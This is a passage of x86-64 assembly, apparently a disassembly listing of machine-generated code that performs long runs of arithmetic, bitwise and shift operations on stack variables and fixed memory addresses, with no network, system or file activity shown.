mov rcx, qword [rsp + 0x9218]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a7f0], ax
movzx eax, word [rsp + 0x104c]
mov word [rsp + 0x12f0], ax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x89a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9030]
mov byte [rcx], al
mov rax, qword [rsp + 0x9980]
movzx eax, byte [rax]
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
and eax, ecx
mov word [rsp + 0xd54], ax
mov rax, qword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x3dc8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8c30]
mov dword [rcx], eax
lea rax, [rsp + 0x9828]
mov qword [rsp + 0xa618], rax
mov rax, qword [rsp + 0x81d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x85b0]
shl rax, cl
mov qword [rsp + 0x8b28], rax
mov rax, qword [rsp + 0x7e78]
mov eax, dword [rax]
mov dword [rsp + 0x42b0], eax
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7838]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401790bb], al
movsx eax, word [rsp + 0xe00]
movsx ecx, word [rsp + 0xcf4]
xor eax, ecx
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x104c]
cdq
idiv ecx
mov rcx, qword [rsp + 0x76a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6db0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f5], al
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x118]
sub eax, ecx
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x3e88]
mov qword [rsp + 0xa620], rax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x88e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71a8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41ec], eax
mov rax, qword [rsp + 0x7aa8]
mov rax, qword [rax]
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9030]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4d7], al
movzx eax, byte [rsp + 0xf2]
mov rcx, qword [0x14017a768]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov byte [rcx], al
mov rax, qword [rsp + 0x9420]
movzx eax, word [rax]
mov word [rsp + 0x12f4], ax
mov rax, qword [rsp + 0x7bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0x96b0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a63f]
add eax, ecx
mov rcx, qword [rsp + 0xa3a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3e84]
mov dword [rsp + 0x42b4], eax
mov rax, qword [rsp + 0x70f8]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9550], rax
lea rax, [rsp + 0x9eb8]
mov qword [rsp + 0xa630], rax
mov rax, qword [rsp + 0x7bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x403c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41cc], eax
lea rax, [rsp + 0xf94]
mov qword [0x14017ac60], rax
mov rax, qword [rsp + 0xa578]
movzx eax, word [rax]
mov word [rsp + 0x12f8], ax
movzx eax, byte [0x140179026]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa328]
mov byte [rcx], al
mov rax, qword [rsp + 0x84d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9488]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x118]
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x7550]
movzx ecx, al
mov rax, qword [rsp + 0xa120]
sar rax, cl
mov qword [rsp + 0x7830], rax
mov rax, qword [rsp + 0x7ad8]
mov eax, dword [rax]
mov dword [rsp + 0x42b8], eax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0x8d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9bc8], rax
mov rax, qword [rsp + 0x8618]
mov rcx, qword [rsp + 0x8d48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8c18]
mov dword [rcx], eax
movzx eax, word [rsp + 0xec8]
mov word [rsp + 0x12fc], ax
movzx eax, byte [rsp + 0x90]
mov rcx, qword [0x14017a650]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a6b0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18e], al
movzx eax, word [rsp + 0x124c]
mov word [rsp + 0x1300], ax
movsx eax, word [rsp + 0xd94]
movsx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0x124c], ax
mov rax, qword [rsp + 0x7d60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f10], rax
mov rax, qword [rsp + 0x7ad8]
mov eax, dword [rax]
mov dword [rsp + 0x42bc], eax
mov rax, qword [rsp + 0x9400]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d9c], eax
mov rax, qword [rsp + 0x9eb8]
mov qword [rsp + 0xa638], rax
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x87f0]
movzx eax, byte [rax]
mov byte [0x14017a69c], al
movsx eax, byte [0x14017a63b]
movsx ecx, byte [rsp + 0x115]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7b70]
movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x1130]
movzx ecx, word [0x14017903c]
sub eax, ecx
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0xa560]
mov rax, qword [rax]
mov qword [rsp + 0xa640], rax
mov rax, qword [rsp + 0x8098]
mov rcx, qword [rsp + 0x9be8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7f88], rax
mov eax, dword [rsp + 0x422c]
mov dword [rsp + 0x42c0], eax
mov rax, qword [rsp + 0x9020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7700]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x86b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1d9], al
mov rax, qword [rsp + 0x75d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sar eax, cl
mov rcx, qword [0x14017a720]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d30]
movzx eax, word [rax]
mov word [rsp + 0x1304], ax
movsx eax, word [rsp + 0xda0]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10d0], ax
lea rax, [rsp + 0xd94]
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d10]
shl rax, cl
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f90], rax
lea rax, [0x14017a4d0]
mov qword [rsp + 0xa650], rax
mov rax, qword [rsp + 0x7d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x9488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179180], ax
movsx eax, word [rsp + 0x12b8]
mov rcx, qword [rsp + 0x9b98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf34], ax
movzx eax, word [rsp + 0xe88]
movzx ecx, word [rsp + 0xd60]
sub eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov word [rcx], ax
lea rax, [0x140179086]
mov qword [rsp + 0xa658], rax
movzx eax, byte [rsp + 0xd0]
movzx ecx, byte [rsp + 0x19e]
and eax, ecx
mov byte [rsp + 0x9c], al
lea rax, [rsp + 0x9e18]
mov qword [rsp + 0xa660], rax
mov eax, dword [rsp + 0x3fa0]
mov ecx, dword [rsp + 0x3fc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8698]
mov dword [rcx], eax
lea rax, [rsp + 0x7930]
mov qword [rsp + 0xa668], rax
mov rax, qword [rsp + 0x82c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x417c], eax
movsx eax, word [0x140179170]
movsx ecx, word [rsp + 0xcbc]
sub eax, ecx
mov word [0x140179108], ax
mov rax, qword [rsp + 0x93a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9458]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x48], al
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0xa670], rax
mov rax, qword [rsp + 0x8c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x121], al
lea rax, [rsp + 0x96]
mov qword [rsp + 0xa678], rax
mov rax, qword [rsp + 0x7188]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3e1c]
shl eax, cl
mov dword [rsp + 0x3c5c], eax
mov rax, qword [rsp + 0xa350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7410]
mov qword [rsp + 0xa680], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa680]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8c88]
mov qword [rcx], rax
lea rax, [rsp + 0x3b94]
mov qword [rsp + 0xa688], rax
mov rax, qword [rsp + 0x6c88]
mov rcx, qword [rsp + 0x7ee8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x7c88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9100]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140179184], ax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0xa690], rax
movzx eax, word [rsp + 0x12fc]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x9078]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd3c], ax
mov rax, qword [rsp + 0x7da0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x7c30]
mov rcx, qword [rsp + 0x9a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cbc], eax
lea rax, [rsp + 0x7678]
mov qword [rsp + 0xa698], rax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0xa430]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x82e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78f8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f08], eax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0xf68]
and eax, ecx
mov rcx, qword [0x14017a9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bb0]
movzx eax, byte [rax]
mov byte [rsp + 0x1fa], al
movsx eax, word [rsp + 0x1288]
movsx ecx, word [rsp + 0xf78]
add eax, ecx
mov rcx, qword [rsp + 0x9450]
mov word [rcx], ax
lea rax, [rsp + 0x1ba]
mov qword [rsp + 0xa6a0], rax
mov rax, qword [rsp + 0x8aa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfa8]
add eax, ecx
mov word [rsp + 0x1198], ax
mov rax, qword [rsp + 0x8648]
mov rax, qword [rax]
mov qword [rsp + 0xa6a8], rax
mov rax, qword [rsp + 0x9d20]
mov rcx, qword [rsp + 0xa568]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fd0], eax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f1c]
shl eax, cl
mov dword [rsp + 0x3f74], eax
lea rax, [0x140179010]
mov qword [rsp + 0xa6b0], rax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1030]
or eax, ecx
mov rcx, qword [0x14017abf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9418]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8b98]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12dc], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0x79e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x98a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x87f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
and eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov byte [rcx], al
mov eax, dword [0x140179004]
mov dword [rsp + 0x42c4], eax
mov rax, qword [rsp + 0x72b0]
mov rcx, qword [rsp + 0x9780]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x9238]
mov rax, qword [rax]
mov qword [rsp + 0xa6c0], rax
mov eax, dword [rsp + 0x4034]
mov ecx, dword [rsp + 0x403c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4140], eax
movzx eax, byte [rsp + 0x151]
mov byte [0x14017a69d], al
movzx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf58], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0xa6c8], rax
mov rax, qword [rsp + 0xa130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa300]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c20]
mov word [rcx], ax
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0xa6d0], rax
mov rax, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x81f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x94a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b38]
mov qword [rsp + 0xa6d8], rax
mov rax, qword [rsp + 0x7d98]
mov rcx, qword [rsp + 0x9080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a18]
mov ecx, dword [rsp + 0x3f0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e04], eax
movzx eax, byte [rsp + 0xd4]
movzx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov byte [0x1401790be], al
lea rax, [rsp + 0xef0]
mov qword [rsp + 0xa6e0], rax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [0x14017a5c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5c], al
lea rax, [rsp + 0x13a]
mov qword [rsp + 0xa6e8], rax
movsx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0x7000]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b20]
mov eax, dword [rax]
mov dword [rsp + 0x42c8], eax
mov rax, qword [rsp + 0x7ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98f0]
mov qword [rsp + 0xa6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x86f8]
mov rax, qword [rax]
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0x7ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017aaa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d20]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ee8]
mov byte [rcx], al
mov rax, qword [0x14017aae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdc8]
sub eax, ecx
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x87a0]
movzx eax, word [rax]
mov word [rsp + 0x1308], ax
movzx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcb], al
lea rax, [0x140179004]
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xa348]
mov rcx, qword [rsp + 0x6f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9968], rax
mov rax, qword [rsp + 0xa318]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e00]
mov qword [rsp + 0xa708], rax
movsx eax, word [rsp + 0xc90]
mov rcx, qword [rsp + 0x7ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1124], ax
mov rax, qword [rsp + 0x9350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017903b], al
movzx eax, word [rsp + 0xcd0]
mov word [rsp + 0x130c], ax
mov rax, qword [rsp + 0xa3e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7d30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7208]
movzx eax, word [rax]
mov word [rsp + 0x1310], ax
mov eax, dword [rsp + 0x4148]
mov ecx, dword [rsp + 0x40c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x84d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8810]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa2d0]
shl rax, cl
mov rcx, qword [rsp + 0xa320]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3fd4]
mov dword [rsp + 0x42cc], eax
mov rax, qword [rsp + 0x9ff8]
mov rcx, qword [rsp + 0x9a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7318], rax
movzx eax, byte [rsp + 0xed]
mov byte [rsp + 0x1fb], al
lea rax, [rsp + 0xd40]
mov qword [0x14017ac68], rax
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf80]
sar eax, cl
mov rcx, qword [rsp + 0x74b8]
mov word [rcx], ax
movsx eax, word [rsp + 0xcac]
movsx ecx, word [rsp + 0x12c4]
xor eax, ecx
mov rcx, qword [rsp + 0x7770]
mov word [rcx], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0xa710], rax
mov rax, qword [rsp + 0x73b0]
mov rcx, qword [rsp + 0x9720]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0x6d00]
mov rax, qword [rax]
mov qword [rsp + 0xa718], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x7638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8368]
mov ecx, dword [rsp + 0x3f18]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0x1fc], al
movzx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0x7340]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5a0]
mov byte [rcx], al
mov rax, qword [0x14017a7b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8a88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x185], al
lea rax, [rsp + 0xcf]
mov qword [rsp + 0xa720], rax
movzx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0x76e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0xa208]
mov rcx, qword [rsp + 0x9810]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9160]
mov qword [rcx], rax
lea rax, [rsp + 0x40a8]
mov qword [rsp + 0xa728], rax
mov eax, dword [rsp + 0x3e8c]
mov ecx, dword [rsp + 0x3bc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a68]
mov qword [rsp + 0xa730], rax
mov rax, qword [rsp + 0x86a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7f90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf3], al
lea rax, [rsp + 0xd84]
mov qword [0x14017ac70], rax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0xa738], rax
mov rax, qword [rsp + 0x9418]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8dc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1120], ax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x10f8]
sub eax, ecx
mov rcx, qword [rsp + 0x7398]
mov word [rcx], ax
movzx eax, word [0x14017a8b8]
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x9f58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7800]
mov qword [rsp + 0xa740], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa740]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3d50], eax
mov rax, qword [rsp + 0x7c80]
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0x9340]
mov rcx, qword [rsp + 0x9780]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4110], eax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [0x14017a8b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a888]
mov byte [rcx], al
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0xa750], rax
movzx eax, byte [rsp + 0x13f]
mov rcx, qword [rsp + 0x77c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa170]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4164]
mov dword [rsp + 0x42d0], eax
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0x9ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0x9e00]
mov eax, dword [rax]
mov dword [rsp + 0x42d4], eax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x147]
sub eax, ecx
mov byte [0x1401790bf], al
mov rax, qword [rsp + 0x7ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd58]
sub eax, ecx
mov word [rsp + 0x1064], ax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0x7258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8b98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1140], ax
movzx eax, word [rsp + 0xe10]
movzx ecx, word [rsp + 0x111c]
sub eax, ecx
mov rcx, qword [rsp + 0x6ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c40]
mov rax, qword [rax]
mov qword [rsp + 0xa758], rax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c80], eax
lea rax, [rsp + 0x3fa8]
mov qword [rsp + 0xa760], rax
mov rax, qword [rsp + 0x7900]
mov rcx, qword [rsp + 0x9430]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94c0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1048]
movsx ecx, word [0x140179114]
sar eax, cl
mov rcx, qword [0x14017a5e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0x1de]
xor eax, ecx
mov rcx, qword [rsp + 0x8568]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ec8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ff], al
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [0x14017909f]
shl eax, cl
mov rcx, qword [rsp + 0x6e60]
mov byte [rcx], al
movzx eax, word [rsp + 0x1310]
mov word [rsp + 0x1318], ax
mov eax, dword [rsp + 0x429c]
mov ecx, dword [rsp + 0x3c44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3edc], eax
mov rax, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0xa5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4068], eax
lea rax, [rsp + 0x7078]
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0x9460]
mov rcx, qword [rsp + 0x9158]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8378], rax
mov rax, qword [0x14017a700]
movzx eax, byte [rax]
mov byte [0x14017a69e], al
lea rax, [rsp + 0x1e4]
mov qword [rsp + 0xa770], rax
movsx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0xa2f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1028]
sub eax, ecx
mov rcx, qword [rsp + 0x7c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a70]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0x9830]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x408c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov dword [rsp + 0x42d8], eax
mov rax, qword [rsp + 0x8ac0]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9680]
mov qword [rcx], rax
lea rax, [rsp + 0x7238]
mov qword [rsp + 0xa778], rax
movsx eax, word [rsp + 0x128c]
movsx ecx, word [rsp + 0xc70]
sub eax, ecx
mov word [0x140179188], ax
mov rax, qword [0x14017aa68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9458]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov byte [rcx], al
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x1a6]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movzx eax, word [0x1401790cc]
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0x8aa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1158], ax
mov rax, qword [rsp + 0x7de0]
